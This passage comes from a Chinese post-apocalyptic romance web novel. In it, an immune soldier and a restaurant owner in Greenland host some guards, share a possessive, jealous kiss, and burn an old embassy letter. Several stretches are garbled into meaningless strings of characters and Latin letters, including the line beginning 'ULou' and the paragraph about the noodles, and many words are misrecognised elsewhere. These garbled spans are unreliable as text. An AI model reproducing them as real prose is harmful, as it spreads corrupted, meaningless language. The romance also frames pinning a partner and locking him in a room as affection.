这时,四周渐渐起了点风,雪也变得大了些,气温也渐渐下降,不得不说中餐厅里投射出的暖色光芒对于已经在外头冻僵了的旅人来说确实有绝佳的吸引力。
“魏先生…….”外面的人的声音都被冻得有些发抖:“我、我们能进来吗?”魏长川却很冷酷:“不好意思,不行。”
门外的人似乎没想到魏长川这个免疫者会这么干脆利落地拒绝他,陷入了一阵有些诧异的沉默。
闵疏听了,往窗外看了看,发觉外面风雨飘摇,温度恐怕有零下好几十度。那几个警卫队的人也不知道在外头站了多久,军装上面已经落了一层薄薄的白雪。“哥……”他不禁伸出手,扯了扯魏长川的衣袖:“还是让他们进来吧。”
魏长川一顿,冷冷看向他。
闵疏被他看得一抖,缩了缩脖子:“哥你不是说格陵兰岛是未感染区吗?应该不会有事的。”魏长川凝视了他片刻,眉尾微压,似是有些无奈地抬手掐了掐眉根。
接着转身拉开门走出去,再‘砰”的一声关上门,动作之迅速几乎没让外头的冷气漏进来一点。
闵疏站在窗口,好奇地往外看,见魏长川又拿起了那个检测仪器往几人面前’哔哔哔 测了几下,似乎是确认了几人没有感染病毒,收齐检测仪,对几人说了什么。接着,他猛地睁大了眼睛。
只见雪地之中,几个警卫队的人忽然开始脱起了衣服。
最开始是外面的大衣,后面是的军装,到了里头的内衣都没有要停下来的架势。没过多久,几个人就变得□,赤*条*条地站在雪地里。
闵疏:???!!!
闵疏陷入了巨大的震惊之中,看见大门打开的时候退后了好几步,慌张地看着魏长川领着几个高大的裸*男走进来。
这几个警卫队的人都很高大,格陵兰岛上的人口以北欧移民和原著细因特人为主,走在最前头的男人就是个白种人,个头高大,苍白的皮肤被冻得微微泛红,健硕的胸肌上布满了铂金色的绒毛。他身后的两人则是深色皮肤,黑色头发,更接近原住民的长相。
但闵疏现在已经无暇关注他们长成什么样子了——三人真的是一点衣服都没穿,此时正拘谨地用手捂着私*处。魏长川看了他一眼,说:“衣服上有残留病毒的可能。”
闵疏脸颊发热,''啊了一声,心想原来是这样。他紧张地口齿打结:“呃——欢、欢迎”他差点脱口而出欢迎光临,话到嘴边硬生生地改口:“请、请进。”
几个警卫队的人似乎也很尴尬,看到闵疏又有点惊讶。他们还以为魏长川足在登陆后找到了这个餐厅作为据点,没想到里头竞还有个瘦小的亚洲男孩。领头的那个有着铂金色头发的男人看见他,惊讶地道:“你是幸存者?”闵疏一愣,接着点了点头:“对,我住在这儿……这是我开的中餐厅。”闻言,男人皱了皱眉,问:“你没有接收到撤离的消息吗?”
闵疏愣了愣:“什么?”
“中校,这里没有接入电视和广播通讯网络。”他身后的一人说:“当时的撤离任务分配给了海岸警卫队,后来好像是因为航线的原因,听说最后是搁浅了。”
ULou,胸 了解组,所在54网网到T顾向的 上 过 052为了 略些口,的原,t出入所Am8T在的oHA他NNT区,me4OA网 阳内应的细峰 0D枫广面Em后和撤离行动
又因为在极寒天气下向外延伸的冰盖阻碍了航线而搁浅,阴差阳错之下小镇上的人根本不知道外面发生了什么。
不过到现在,镇上也就只剩下他一个人了。
被称为「中校」的铂金发男人搞清楚了事情经过,回过头来看向闵疏,很正式地朝他伸出手:“对不起,闵先生。”他微皱眉,语气很严肃:“这是我们的失职,我代表警卫队向您道歉。”闵疏听了,脸颊极速变红,心想他一个连合法身份都没有的黑户,其实格陵兰岛政府根本没有管他的义务。
男人态度还这么诚恳,他更加不好意思了,几乎是有些慌乱地伸出手:
"没、没有的事。”为表尊重,闵疏用双手握住了男人的手,抬起头道:“中校不用道歉,我在这里也生活得挺好的、呃——闵疏话头猛地一顿,惊恐地瞪大了眼睛,脸颊猛地涨得通红,几乎不敢相信自己看到了什么。其实也不奇怪,因为这个中校现在什么都没穿,他现在伸着右手,左手垂在身侧,中间自然就没东西挡着。
“呃、我.……我想说….”闵疏觉得自己变成了一座生锈的机器,脑神经像互相卡主的齿轮般艰难地移动:“您…您不用放在心上….铂金发的北欧男人显然继承了维京先祖的豪放,才说了两句话就完全没有遮掩身体的意图了:“不,闵先生,请 定要让我们赔偿。”
闵疏已经快晕了,话都说不出来,他是个土生士长的南方人,除了小时按在孤儿院需要帮小些的孩子洗漏外,大学里头的润堂都足有隔间的,他也没谈过恋爱,可以说这足第 次在光天化日之下这么清楚地看见男人的身体—就在这时,一只手按住了他的肩膀。
闵疏感到一股巨力将自己往后一拉,脚下一个踉跄,手也跟着放开。“去给客人拿几件衣服。”魏长川略微低沉的声音在他耳边响起。
闵疏一愣,随后回过神来,大大地松了口气,赶忙答应下来:“好。我、我现在就去。”随即慌慌张张地转过身往卧室走。待到了卧室,他才放松了些,抬手捂住了脸。觉得他真是太不争气了,看到男人的裸体就慌成这样,明明从构造上来说跟他自己的也没什么两眼
虽然大小差很多就是了。
闵疏想者自己看到的画面,觉得有点受打击,摔了甩头将纷条的念头甩出脑袋,专心低头找衣服,衣服倒是多的是,就是大小有点不合适,闵疏批了几已经被魏长川家大了的衣服,拿到手上看了看,觉得尺寸应该差不多。就在这时,他身后传来’咚的一声。
闵疏回过头,便见魏长川环着手臂,靠在门框边。
“哥。”闵疏便转过身:“你怎么来了?我正在找衣服呢。”魏长川没回答,只是抬眼看着他。背光之下,眼睛显得很黑。闵疏莫名地察觉到了一丝不妙的气息,眨了眨眼,小声道:“哥……怎么了?”魏长川没说话,敛下眼,放下手臂走到他身边,随手拿起了床上的一件衣服叠起来。见状,闵疏便以为他是来帮忙的,微微松了口气,也低头叠起衣服来。然而就在这时,魏长川忽然冷不丁道:“你脸红什么?”
安静的卧室里,他的声音特别明显,语气有点不客气。闵疏一顿,疑惑地抬起头:“什么脸红——”魏长川手上动作没停,将衣服叠成方正的小块,瞥了他一眼:
“还敢盯着看。”
29、吃醋
闵疏一顿,接着猛地反应过来,长大了嘴。
“谁盯着看了?”
怎么说得他好像很猥琐一样?
闵疏平白无故被污蔑,脸颊涨红地瞪向魏长川。
魏长川没什么表情,把折好的衣服往床上一丢,偏过头看着他,一挑眉:“你没看?”
那眼神有点冷,语气很不客气。
闵疏一怵,立即怂了,不敢再瞪他,低声嘟囔道:“什么叫我看……我也是不小心的嘛。”
那个人什么都没穿,他又离得那么近,会看到也很正常啊。
闵疏心想,怎么就怪到他身上了,他是不经意间看到的,又不是故意往哪儿看魏长川这么说,搞得他好像很色一样…….
闵疏在心里嘀嘀咕咕,也不想理魏长川了,转头去拿裤子。
魏长川也没说话,继续拿起一件衣服叠。闵疏去衣柜里翻箱倒柜了一番,没找到合适的裤子,便回头对魏长川道:“哥,可以把你的裤子给他们穿一下吗?“
魏长川头也没回:“不行。”
闵疏没想到他会这么直接地拒绝,愣了愣,诧异道:“哥,没有其他合适的裤子了。”
魏长川放下手里叠好的衣服,也走进卧室。
卧室不大,木制衣柜放在床旁边,中间的空间很窄,闵疏不得不给他让道,被魏长川的长手长脚挤到一边,看着他从柜子里拿出一条黑色的裤子:
“这不行吗?”
“这个怎么行。”闵疏探头一看,脱口而出道:“太小了,别把人家勒着。”他的本意是这条裤子腰围太小,还是窄腿的,那几个警卫队员估计穿不上。可话一出口,他忽然意识到这句话在当前的语境下也许好像有点歧义,心里一突,抬头看向魏长川。果然见魏长川面色变了,眉尾压了下来,垂眸看向他,目光有点冷。闵疏被他看得缩脖子,还没来得及说话,就听到男人不阴不阳的声音:
“勒哪?”
闵疏’轰 地一下满脸通红,在羞耻和震惊之下竟一时找不到反驳的话,就这么张着嘴看向男人。魏长川真是可恶,这时居然道:
“又脸红。”
语气很凶,像是咬着后槽牙说的。
闵疏脸红得都要熟透了,说不过魏长川,只好逃跑:“你让开,我要把衣服拿出去。”
卧室本来就小,他被魏长川挤在衣柜和床尾的夹角里,要是男人不让开根本出不去。闵疏等了两秒,见他没有要让开的意思,只好自己从前头挤过去。谁知他才刚迈出一条腿,魏长川忽然也迈出一步,膝盖’砰的一下碰在了衣柜门上,挡住了他的去路。
闵疏登时进退两难,他哪里挤得过一身肌肉硬邦邦的魏长川,没几下就被他按着肩膀,推揉到衣柜和墙壁之间的夹角里抵住。
魏长川很高,撑着衣柜门,揣着手挡在他面前,居高临下,阴影能将他整个人笼罩住。
两个人体格差距太大,闵疏被他这样一挡,气势立即弱了,有点紧张地抓着手上的衣服,小怂又不太服气地抬头看他:“你干嘛?”魏长川垂视着他,忽然挑了挑眉:“你想干嘛?”
闵疏在阴影中捕捉到他的目光,心跳忽然快了,面上却还是道:“我没想干嘛啊。”卧室和位于塔楼的客厅之间隔着狭长的过道,隔音很好,此时屋子里很安静。闵疏背靠在衣柜的门板上,看着眼前男人的胸膛 起一伏,耳边是魏长川略重的呼吸声。在狭窄的空间内,魏长川身上的热气好像都扑倒了他身上。
闵疏睫毛一颤,率先坚持不住,抿了抿唇,撇过脸想移开目光。
结果魏长川直接抬起手捏住了他的脸。
闵疏被迫抬起头,瞪大了眼睛,诧异地将嘴张成’哦状
魏长川掐住了他的下颌,指腹缓缓摩擦过那里的皮肤:
“就那么喜欢?”他的眼神幽暗,语气有点坏:“天天脑子里想的都是什么?”他语气里带点批评的味道,像是在教训他。
闵疏的脸立即红了,忽然觉得自己好像变成了个做错事的小孩,被看穿了萌动的心思,羞耻又深一层。在羞恼之下,闵疏忽然怒向胆边生:“想想还不行吗?”闵疏抬起头看向男人,有点赌气地道:“又不能真做。”他的脸还被喂长川捏着,说话的时候口腔中粉嫩的舌尖若隐若现。
魏长川沉默了一瞬。
赌气的话出了口,闵疏才觉得不妥,这件事魏长川也在忍着,而且是为了他的安全着想,他不该拿这件事刺激魏长川。闵疏想着,嘴张了张,赶忙道歉:“对不起,哥,你当我没说——呃!”
掐住他脸颊的手忽然一紧,闵疏下意识地皱了皱眉头,下一瞬,便听到魏长川对他命令道:“别动。”闵疏一愣,不知道他在说什么,抬头看向魏长川,然而没等他看清男人的神色,一个灼热的温度便覆上来。闵疏诧异地睁大了眼睛,接着’唔”了一声,下颌被抬高,被一个温热的东西挤进了口腔。
"!"
闵疏的呼吸失去节奏,脸颊微微鼓起,下意识地做出反应,想把异物挤出去。
然而他刚刚一动,就被一只手捏住了下颌:
“别动。”
魏长川撤出他的口腔,抬起眼,眉眼凌厉:“我来动,你别动。”闵疏僵硬地张着嘴,脸颊通红,似乎没反应过来刚才被做了什么,红润的唇微张着。魏长川看了看他,接着闭上眼,再次靠近了过来。闵疏屏住呼吸,睫毛颤了颤,也闭上了眼睛。
魏长川卡主他下巴的手更用力了些,他的下颌骨一分一毫都动不了,只能仍由男人动作。与手上的动作相反,魏长川的动作不算激烈,甚至可以说是小心,但是很绵长。魏长川将他抵在橱柜上,灼热的身躯贴着他,胸膛随着略沉的吐息不断上下起伏,仔细而缓慢地亲吻他。闵疏觉得自己要被吃掉了。
空气被夺去,随着时间的推移,闵疏渐渐感到窒息,不禁伸手拍打男人紧绷的臂膀,
“哈……咳咳咳—”
一被放开,闵疏立即开始咳嗽,喘了好几口气都没缓过来,喉咙随着吞咽口水的动作上下滚动,还觉得喉咙深处有种异物感。
"哥……你、你怎么——"
闵疏贴在橱柜上,几乎是有些惊异地看向魏长川。
魏长川的手还捏着他的胯,垂着眼紧盯着他,低头吮吻了一下他的嘴唇:“嗯?”
这个 嗯 太超过了,闵疏觉得自己的耳根像是被低哑的男声挠了一下,战栗瞬间传遍全身。魏长川和他离地很紧,几乎没有任何空间,闵疏无处可躲,清楚地看见了男人眉眼向浓地化不开的欲色。
魏魏长/怎么空然变得这么色
他觉得自己有点应付不来这样的魏长川,男人一直在他唇角处啄吻,把他按在衣柜上,手臂上硬邦邦将他抱地死紧:“这就不行?”吻了吻青年的耳廓,语气带了些嘲弄:“还想要别的?”闵疏脑中’轰’地一声炸开,满脸通红,像是被枪口对准的动物,根本做不出一点反应。
幸而魏长川似乎也知道他到极限了,没再说那些撩人的话,只是紧紧抱着他,额头抵在他的肩膀上,沉默着平复自己。闵疏人有点傻了,乖顺地由他抱着。过了一会儿,魏长川放开了他。接着,卧室门被’啪’地一下关上,卧室里安静下来。闵疏背贴着墙,觉得后腰都有点软,缓了好一会儿才回过劲儿来。
太……太刺激了!
闵疏微张着嘴,抬手摸了摸因为长时间张着嘴而有点酸疼的下颌,又摸了摸嘴角,倒是没有受伤,就是太*深了….他脸蛋通红……这、这怎么比小电影里看得还刺激啊………他真的有点顶不住了。
闵疏听着自己噗通噗通的心跳,忍不住用双手环住了自己,心里的那点萌动被魏长川铁血镇压了下去,现在一丁点儿都不敢想了。在衣柜前蹲坐了好一会儿,闵疏才觉得心跳没那么快了,深吸了口气从地上站起来,上前去开卧室门。然而手放在门把手上,却按不下去。他不信邪,又按了两下,结果发现他被魏长川锁在卧室里了。闵疏:.……??这又是哪一出?
“哥……?”他走到门口,抬高声音:“哥?你关着我干什么?”
门外没有回应。闵疏等了一会儿,在卧室里转了几圈,忍不住走上去敲了敲门板:
“哥?哥!哥——”
就在这时,一阵脚步声响起,接着门忽然被拉开来,他脚下失去平衡向前扑了过去。
一双手接住了他。
闵疏抬头一看,见是魏长川,正蹙着眉看着他:“笨手笨脚。”
“哥,你锁门干什么?”闵疏问。
魏长川没回答,看了他一眼,就转身往外走了。闵疏见状,也跟着走到了客厅,抬头便见几个警卫队的人已经穿上了衣服,衣服和裤子都有点小,不是魏长川穿过的那几件。
不过几人好像并不介意:“闵先生,谢谢你。”
一想到家里有客人,他刚刚还跟魏长川拉拉扯扯的,闵疏就有点不好意思:“没事没事……不用谢。”几个人站在火炉边取暖,那个铂金发色的中校正在和魏长川什么,闵疏见状道:“我去给大家倒点水。”接着他到后厨里倒出几杯咖啡,走出来,正好听到那个中校道:“魏先生,我们带了雪橇,防雪服和钉鞋,就放在院子里。”闵疏听着,发现是登冰川的装备,心想魏长川都进进出出冰川好几回了,就穿着他那双军靴,也没见有什么。
魏长川点了点头:“谢谢。”
闵疏便走过去,把咖啡一杯杯递给他们:“请喝咖啡。”
几人接了过去,其中两个原住民长相的警卫客气地说了谢谢,捧着咖啡很珍惜地喝起来。闵疏看他们的架势,知道他们肯定不知道在外头冻了多久了,看着有点可怜。
“喝完了还有。”他不禁道:“要吃东西吗?”
两个警卫员惊讶地抬起头,闵疏看见他们的神情,这才反应过来自己不知什么时候切换成了伊努图克语。
“闵先生,你会说伊努图克语?”两个人显然很惊喜。
闵疏点了点头,道:“我在这儿住了七年,跟镇上的人学的。”随即他笑了笑,道:“我去拿点吃的。”
另一边,魏长川正在和铂金发的中校说话。
“庇护区的情况怎么样?”
中校神情严肃了些:“目前还好,资源比较紧缺,但还过得去。”他说着,顿了顿,道:“九月的时候抓到感染者偷渡,造成了一些混乱,但已经处理了。”
魏长川抬起眼:“怎么处理的?”
中校顿了顿,答道:“两个烧了。”他说:“另外的……在海上击毙了。”在海上击毙,那就是沉海了。魏长川蹙了蹙眉,道:“下次都烧了。”
目前发现的,唯 能够应对病毒的方式就是高温焚烧。就算是击毙,沉入海中的尸体依旧是个感染源,如果哪天浮上海面,再由洋流漂浮到岛上就麻烦了。那名中校点了点头:“是。”
两人相对,一时无言。格陵兰岛作为除开人类基地之外的最后一个未感染区,人类最后能够自由呼吸新鲜空气的地方,实际上被感染的风险也最高。极地小岛有着漫长的海岸线,又缺乏人手,虽然航线由于常年封冻的海洋而极其危险,但仍然无法防住偷渡客。客厅里有一时的沉默,这时,从餐厅的方向传来些说话的声音,其中还夹杂着些许笑声。中校抬头看了看,转头对魏长川道:“魏先生,他们好像在那边聊天,我们也过去吧。”
魏长川转过眼,点了点头。
两人走到餐厅,便见闵疏和两个原住民警卫员正坐在桌上,中间摆着一盘油滋滋的鸡蛋灌饼,正在小声用伊努图克语交流,魏长川看向闵疏。
他跟一个警卫队员坐在一起,侧脸白皙,带着些许笑意,正叽里咕噜地说着什么。说话也就算了,还靠得特别近,手臂都快挨在一起。魏长川缓缓眯起了眼睛。实际上,闵疏只是在问他们首都的情况:“所以……大家现在都在努克,房子够住吗?“
警卫员告诉他:“以前的旅馆酒店都空了出来,现在还够住。”
“这样啊。”闵疏了然,格陵兰岛虽然比较小众,以前也有不少人旅客为了一睹极地风光慕名而来。他也曾是其中之一,不过现在当然是没有游客了。聊到这里,他忽然想到了什么,问道:“因为天气太冷,我们镇上的人这几年都陆陆续续离开了……有什么办法知道他们的近况吗?”
本来闵疏是不抱什么希望的,然而警卫员听了,竟直接低下头拿出了一本名册,哗哗 地翻到一页,递给闵疏:“这是近三年东北地区迁移到首都的人员名单。”闵疏惊喜地接过来,赶忙低下头看了看,果然看到了几个眼熟的名字。他不禁捏紧了名单,仔细从上到下看过去,有镇长一家,开小商店的尼克,住在半山腰的苏和安妮两姐妹闵疏一个个看过去,发现有二十多个镇民及家人的名字都在上头,警卫员在旁边说:“没在这上头的,有可能在之前的名单上。”
闵疏不禁大人地松了口气,抬头感激地道:“谢谢,真的太感谢了。”知道镇上的大部分都有被好好地在首都被安置,他就放心了。在风雨飘摇的未世里,这已经算是难得的好消息这时,他身边的椅子忽然被拉开,魏长川的声音自头顶传来:“在聊什么?”
闵疏回过头,心绪激荡下直接伸出手一把抱住了魏长川。
魏长川猝不及防被抱了个满怀,微微诧异地睁开眼,在短暂的停顿后抬起手,自然地搭在青年背上:“怎么了?”
闵疏将脸埋在他的胸膛上:“………大家都没事。”声音里带着浓浓的鼻音、
魏长川失笑,抬手摸了摸青年蓬松的头发,放任他紧紧环住自己。心里的那点烦躁已经被怜惜取代,青年确实会找好机会撒娇。
两人拥泡之时,警卫队然交静了下来,铂金发色的中校有些惊呀,不过就礼地别时了脸,格陵兰乌的细因特族虽然相对保守,但大部分人教育程度还是比较高的,风气他相对开放,再说都末日了,也不会对这种事有什么大惊怪
闵疏抱了魏长川十几秒才松开手,抬起头,抹了抹微微泛红的眼角。想到旁边还有警卫队的人看着,他就做出这种事,就有点脸颊发烫。
这时候,好巧不巧那位中校还回过头来,微笑道:“两位感情真好。”
闵疏的脸登时烧了起来,结结巴巴地道:“不、不好意思……让你们见笑了…….”魏长川坐在他身旁,一只手搭在闵疏的椅背上,面上看不出是什么神情,眉尾微微舒展。中校笑了笑,眼尾处勾出一点细纹:“不。”他似乎有些感慨:“这种时候……能有一段浪漫的关系也是好的。”闵疏没听出他话里暗藏的一点忧伤,只是觉得有点害羞,红着脸不知道该说什么。魏长川也没说话,眉眼微微柔和,偏头看向闵疏。这是,中校道:“时间不早,我们也该走了。”
闵疏见几个警卫队的人纷纷站起来,也跟着站起来,诧异道:“现在就要走?留下吃完晚饭再走吧。”
中校转过头,看了眼闵疏身后的魏长川,收回目光:“不用麻烦了,我们还得赶回首都。”???“可是….”闵疏还想挽留,但中校笑着摆了摆手,显然是心意已决。闵疏便不好再挽留,但还是从厨房里拿了葱油饼和热奶茶,将饼放进油封纸袋里,把奶茶用水杯装好,分别塞给了三个人,
三人分别跟他握手表示感谢,其中两个纽因特人还很热情地跟他拥抱,用伊努图克语道:“谢谢你,闵先生。”“不用谢。”闵疏有点高兴,又有点担心地道:“你们路上一定要小心。”
几人点了点头,这时,魏长川拉住他:“你先把桌上收拾了。”
“嗯?哦。”闵疏听了,觉得有点奇怪,家里从来都是魏长川洗碗,但他还是乖乖地回过头去收碗了。
等把被油污弄脏的碗盘放进水槽里,闵疏听到外面传来的、衣物摩擦的寒窣声,才忽然一顿,抬起头来。
原来魏长川是不想他看到警卫队人的裸*体。
也是,进来的时候脱衣服,出去的时候也要脱的。
闵疏这才意识到,除却魏长川对他抱有偏见,觉得他很色之外,男人好像还有点小吃醋。
音识这 点 闵疏吨到些许新奇,因为端长脚下不好,看起来也总是 同对外界爱各不理的 样,没姐到 应然会在衰这种事。不过他们在说恋爱,会在意这种再好像他品应该的,于是在网的后厨中多站了会儿,等到外面的声音 了,才走出去,
客厅里,魏长川站在门口。
闵疏走过去,便见三个警卫队的人已经穿戴整齐,站到了门外。
外面的风雪渐渐大了,黑夜中,门口屋檐下的小灯只能照出三人模糊的轮廓。闵疏透过灰白的雪雾,看见他们在飞雪中抬起手,在空中挥了挥手。他便抬起手挥了挥,黑夜飞雪之中,三人似乎是看见了,又挥了几下手,接着转过身,缓缓向雪原深处走去。
30、信
天空飘着鹅毛般的飞雪,在院前小灯昏黄的光芒中几乎连成一片,成为一种混沌的灰白色。院前的小灯照不了多远,三个人的身影逐渐模糊,很快在黑暗里消失不见。
闵疏看着他们的身影消失在雪原深处,不禁担忧道:“雪这么大,真的没事吗?”
魏长川站在他身边:“没事。他们带了雪橇犬。”
“是吗?”闵疏听了,微微安下心来:“那就好。”
他站在窗口,看着三人离开的方向,心里不知有何有点堵。
可外头这么冷,还是一点日光都看不见的极夜,三个人跋山涉水地从努克来,不知道路上有多少艰辛。
闵疏心下发沉,有些愧疚地转头向魏长川道:
“这么大老远来一趟,还是应该让他们在这休息一晚再走的……”
魏长川闻言略低下头,抬起手安抚般地按在他的肩上:“别想太多。”他道:“现在到处都缺人,他们需要快点回去。”大瘟疫造成的人口迅速流失同时也造成了人手短缺,能够自由活动的免疫者就那么点大部分的日常工作还是需要普通人来完成。格陵兰岛上人口本来就少,成为人类最后一片未感染区后试图偷渡的人层出不穷,警卫队也是超负荷工作。一切都是为了守护最后一片可以让普通人自由活动的净土,让人类不至于全面转入地下,永远过苟延残喘,暗无天日的生活。「生活」二字虽然先得活,可生也同样重要,总是在这种时候,人类会再次审视自由对于自身的重要性。
闵疏还没有完全适应未世的现实,闻言虽然不能全部理解,却还是感到了一种隐约的紧迫。那不是抵在喉咙地下的尖刀,而是隐藏于风雪中间的黑影,在他们平静的生活背后若隐若现。闵疏沉默了一会儿,抬起头,三个警卫队的人在院子里留下的脚印已经再次被雪覆盖。
外头是白雪,他从窗户的反光上看到自己和魏长川的倒影。
“……那哥呢?”闵疏转头过,看向他:“基地什么时候叫你回去?”
魏长川的动作微微一顿,却没多久,便答道:“暂时还没有联络。”
病毒样本已经送到了基地内科学家的手上,暂时没有什么成果,上次来接他的潜艇被虎鲸的尾巴扫到,里头的人没事,潜艇本身伤得不轻,还在修,所以他暂时还得待在岛上。闵疏却是听到了「暂时」两个字,也没说什么,只是缓缓低下头,轻轻哦 了一声。魏长川看着他乌黑的发旋,也沉默下来。过了一会儿,他伸出手,揉了揉青年的后脑。
“……别难过。”他低声道,顿了顿,又说:“我不会不管你。”
就他有天要离开,也定会先和酸安用子,他今天 的可了陷兰弯普DB的人,世早就限比美基地绝了,就境是从在这儿住者,物演也不会断 要足有什么底外,就这地 克的游区去,虽然人多了点 但有小国上网A的人,互阳也好有个瓶应,
闵疏听了,抬起头,倒是扯了扯嘴角:“我不是担心那个”
随即,他便看见了魏长川紧皱的眉头,眉心一道深刻的阴影,登时微微张了张嘴。
还说让他别难过——闵疏眨了眨眼,随后笑了笑,略微正色地看向魏长川:“哥,要是基地叫你回去,你一定不要担心我,快点回去就是了。”
他这话说得认真,魏长川听了,静了会儿,目光缓缓循过闵疏的面孔。顿了几瞬,忽然抬起手,摸了摸他额角的头发:
“不会舍不得我?”
闵疏没想到他会这么说,脸蓦地一红:“…当然会舍不得的。”他抿了抿唇,道:“但是,还是正事要紧嘛,如果基地需要你,那一定是很重要的事。”
在暖色的灯光下,闵疏险规粉粉,丹凤眼里畔光闪烁“我身体不好,外面发生了这么坏的事也派不上用场,哥能帮得上忙,当然要先去帮外面的事。”他说着,渐渐有些明现起来:“如果能研究出个安苗什么的就是最好子!”魏长川借着灯光看他的脸,虽说是二十七岁,但在格陵兰岛上的这六年似乎完全没有在闵疏脸上留下痕迹,他是窄双眼皮,脸小而尖,又白,在相貌上很显小,看着还是像二十刚出头。这种略显天真又生机勃勃的表情在他脸上很合适,让人不自觉也想跟着微笑,很招人疼。魏长川凝视他片刻,将他的额发向后捋去,在青年饱满的额头上亲了亲:“乖宝宝。”
忽然被夸,闵疏又是脸一红。
还设等他合起义石块长,就被他 把泡条了怀里,男人的期包很有力,灼热的体温环统看他,闵疏觉得他跑得有点燥,但回时又有种在孤独之中被什么AM住的路文感,新新地 不园动了,绥发转过脸,将义靠在男人温热婴实的的肌上.
极夜之下,风雪围城,天际暗淡一片,然而这一切似乎都和暖气充足的小中餐馆没有关系。
两人在客厅里安静地相拥,抱了许久才分开。
吃完晚饭后,闵疏在客厅的沙发里蜷着。
下午的时候葱油饼给了警卫队的几个队员,一时不能再做,两个人待在家里没什么活动,也都不太饿,闵疏就简单下了两碗面条来吃。
面条足用地网的m的向的于面,切端的优,口 3,没有声感,网的动了向来代能,确国M入面,赫未,把AM住面发,否的4百NF00年发出来的知面在确里并,白的西政上上了面0用,突品的,石 碗。怕魏长川吃不饱,闵疏还给他额外加了一个煎蛋,两片煎火腿肠。
两个人坐在客厅里呼噜完面,脸上身上都出了点汗,于是吃完休息了会儿就去洗了个澡。闵疏先洗碗,浑身都暖暖的,穿着羊毛袜子窝在客厅的沙发上,有些昏昏欲睡。
过了一会儿,脚步声响起,有人朝他靠近了过来。
魏长川的声音响起:“别蜷着,对脊柱不好。”
闵疏哼了一声,不想睁眼,就这样歪在沙发里任由魏长川摆弄他的姿势。男人把他的腿放下来,又去卧室里拿了个枕头,给他垫在腰后头。
被他这么折腾了一通,闵疏倒是不困了,于是睁开眼,一扭头便见魏长川正站在窗边。“哥,过来坐呗。”他揉了揉眼睛,道:“窗子哪儿多冷啊。”魏长川没动,道:“有个东西要给你看。”闵疏放下手,眨了眨眼:“什么?”魏长川看了他一眼,接着低下头,拿出了什么东西。
闵疏看见那东西,登时睁大了眼睛—只见那是一只白色的信封,上面印着大使馆的徽章,竟然是他五年前因为害怕签证去信大使馆的回信!他立即惊喜道:“我的信!”他’腾 地一下从沙发上蹦了起来:“哥,你从哪找到的?”魏长川却命令他:“别动。”
闵疏想走过去的脚步一顿,见魏长川抬眸看了他一眼:“脏,你离远点。”说罢道:“是警卫队的人在邮局找到的。”
在从首都出发之前,警卫队在邮同里找到了这封信,上面是华文,他们看不懂,误认为是写给魏长的,所以就 起带来了。但是他们没注意到上头的日期,其实这是早在五年前华国大使馆写给闵疏的回信。
闻言,闵疏只好坐会沙发上,眼巴巴地看着魏长川。
见他这样,魏长川微微勾了勾唇,道:“我给你念。”
说罢,他低下头,将手中的信封打开。
“展信安,致尊敬的闵疏先生。”
“首先,本部对未能及时回复您的来信深表歉意。
“关于您提出的延长签证请求,我们遗憾地通知您,鉴于当前全球正处于极其特殊的紧急状态,且华国与格陵兰岛主权所属国的外交关系已暂时中止,我们无法在此事上为您提供协助。”
男人的声音低沉,但咬字却非常清晰,不疾不徐地念下去。信件非常正式,仿佛当下并不是社会秩序崩塌的未世。然而到了后面,字里行间才笔锋 转,露出未世狰狞的角:
“本部对于在这个非常时刻不能为您提供所需要的帮助而深感泡款,考虑到当前全球感染形势的严峻性,本部已与格陵兰岛及其外交权归属国达成协议,持有相应护照的公民可在格陵兰岛政府管售区内无限期居留。”“目前全球感染趋势严峻,在这特殊的情况下,本部建议您暂时居住在格陵兰岛,若有撤侨行动,本部会第一时间进行通知您。”“此外,因特殊时期的需要,本部将于下月与其他政府部门合并。若您有任何疑问或需要进一步咨询,请致信以下地址。”“本部代表全体外交部成员,愿您身体安康。祝好,华国驻北欧大使馆。”
念出最后的日期,魏长川的声音停下。
闵疏下意识问:“没了吗?”
魏长川抬起眼:“没了。”
闵疏微微张着嘴,神情怔忪,好一会儿才回过神来。
信上的日期是他上岛的两年后,原来他商出信没过多久,大使佰就回信了。不过附候全球的简况变得很营,格陵兰岛政所组织了大 移,消总却没有传到 镇,邮差也不再工作,这封信便相面在了首部,到今天才得以重见天日.
原来大使馆并没有丢下他不管,在信里告知了他真相,还让他待在这里等待撤侨……
信里说说外交部将与其他政府部门合并,然而五年后的今天,他已从魏长那里得知华国在国家意义上已经不存在了,全球只剩下十几万人类聚集在一起报团取暖。
而当初写下信的那个外交部的工作人员,现在又在哪呢?他有跟着外交部转移吗,最后有安全地到达基地吗?
闵疏愣愣地站了一会儿,才抬起头看向魏长川:“哥,我能看看信吗,好像有个地址——”
魏长川拒绝了他:“不行,信不干净。”
接着,闵疏看着他拿出打火机,一声脆响后,火苗燃起,很快就吞噬了信纸。
闵疏睁大了眼睛,看着那封信消失在火焰中,眼圈几乎是立即就红了。
“我的信……”闵疏刚开口,声音却立即噎住了,接着便感到脸上有一点凉意,泪水夺眶而出,顺着脸颊滑下。
最后一点灰烬在指尖消失,魏长川抬起头,便见闵疏满脸是泪。
他神情一顿,立即问:“怎么了?”闵疏一抖,眨了眨眼,又是一连串泪水落下,抿着唇不说话。魏长川蹙着眉,随后松开,轻轻叹了口气,朝他张开手臂:“过来。”闵疏慢慢地走过去,把脸埋在男人胸口。
魏长川就着环住他的姿势,抬高手臂,褪下手上的白色手套扔到壁炉里,接着低下头用嘴唇在胸前毛茸茸的发顶上轻轻贴了贴:
“怎么哭了?”
闵疏紧紧抱着男人的腰,抽了抽鼻子:“就是.”他声音有些低哑,在魏长川胸前蹭了蹭,哽咽了一下才继续说下去:“就是突然觉得……很难过…”之前虽然知道外面发生了很不好的事情,但因为他没有亲眼见过,所以潜意识中总是会忘记现在已经是末世了。然而这封信却无情地撕裂了平和的表现,忽然就击中了闵疏。
“别难过。”魏长川摸了摸他的头发。
闵疏还是很难过,眼泪都踏到了魏长川胸前的衣服上:“哥…还把我的信烧了。”他抬起头,眼圈红红地说:“怎么办,大使馆给我的信我都没收到,也不知道写信的人还好不好“
魏长川的手放在他的后脑上:“信不干净。”他垂眼看着青年,抬手摸了闵疏泛红的眼角:“政府人员大多都迁移到了远东基地。“
闻言,闵疏略微松了口气,却还是很低落。虽然可以转移,但是幸存者那么少,有多少机率写信的人会没事呢?
闵疏其实也清楚,在这种情况下他认识的人能没事的机率是很小的,他想着,觉得胸口处闷闷的,说不出话来。
魏长川也没说话,手缓缓从闵疏的后脑向下捋过背脊,像是在安抚一只猫。